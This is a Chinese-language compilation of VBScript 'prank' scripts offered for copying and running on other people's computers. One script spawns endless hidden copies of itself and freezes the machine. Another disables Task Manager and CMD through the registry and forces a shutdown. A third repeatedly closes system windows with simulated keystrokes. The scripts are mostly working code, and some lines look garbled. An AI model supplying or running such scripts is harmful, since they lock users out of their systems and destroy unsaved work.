① 這個VBS整人代碼的威力
根據源碼，是打算冒出一個框之後再無限循環執行dos命令「cmd /cecho」，但是沒用呀，你又看不到這個CMD的命令
ws.run"cmd /cecho " ,0,true
這一句的數字0的意思是隱藏執行窗口。
而後面的那個true的意思是要等前面打開的CMD運行完畢關閉了再運行下一個CMD。
這個腳本沒有威力。
如果你只是想知道這個腳本的作用，我只能說這個屬於整人系列腳本，但是沒什麼威力可言。
如果你需要一個更簡單更厲害的，請參考下面這個。
setws=createobject("wscript.shell")
fori=0to10
ws.runwscript.scriptfullname,0
next
msgbox"！！！無限彈窗開啟！！！",,"【happy禾和專業打造】"以上腳本在運行前請做好強制關機的准備。會死機。
以上腳本僅供參考，幫助你認識vbs的。但請不要隨便讓別人運行，強制關機意味著之前的一段工作全部泡湯。
有事追問。
② 整人代碼
代碼如下：set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系統將在"& 60-i &"秒後關機...",1,"系統提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
復制以上代碼，在桌面建一個文本，把代碼放進去，另存為VBE格式，
此代碼的威力：
1：開機就強制自動關機
2：cmd命令打不開
3：結束任務不管用
4：F8安全模式也不管用
呵呵！聽起來是不是有點恐怖啊，我在我朋友空間里看見也嚇了一跳、
代碼破解方法：就是再運行一次，就可以破解了，也就是第2次保存的那個VBE文件，，
③ 電腦高手進 cmd整人命令製作
復制以下內容, 保存為 .VBS 文件
dim gb,jj
gb=0
set shell=createobject("wscript.shell")
DA=INPUTBOX("給你最後一個機會!"&VBCRLF&"請問美國總統"&_
"叫什麼名字?","你不小心運行了腳本病毒 !!","回答錯誤後果自負")
IF DA="奧巴瑪" THEN
MSGBOX "程序即將結束",,"回答正確!"
WSCRIPT.QUIT
END IF
MSGBOX "作為懲罰, 你將不能運行以下程序"&VBCRLF&"我的"&_
"電腦 , 我的文檔 ",,"回答錯誤"
do
wscript.sleep 100
jj=shell.appactivate("Windows 任務管理器")
wscript.sleep 50
if jj then shell.sendkeys "%fx"
dn=shell.appactivate("我的電腦")
wscript.sleep 100
IF DN then shell.sendkeys "%{f4}"
wd=shell.appactivate("我的文檔")
wscript.sleep 50
IF WD THEN SHELL.SENDKEYS "%fC"
RX=shell.appactivate("運行")
IF RX THEN SHELL.SENDKEYS "%{f4}"
hs=shell.appactivate("回收站")
wscript.sleep 50
IF HS THEN SHELL.SENDKEYS "%fc"
cmd=shell.appactivate("c:\windows\system32\cmd.exe")
wscript.sleep 50
IF cmd THEN SHELL.SENDKEYS "exit{enter}"
GB=shell.appactivate("PE格式.txt - 記事本")
wscript.sleep 50
IF GB THEN wscript.quit
loop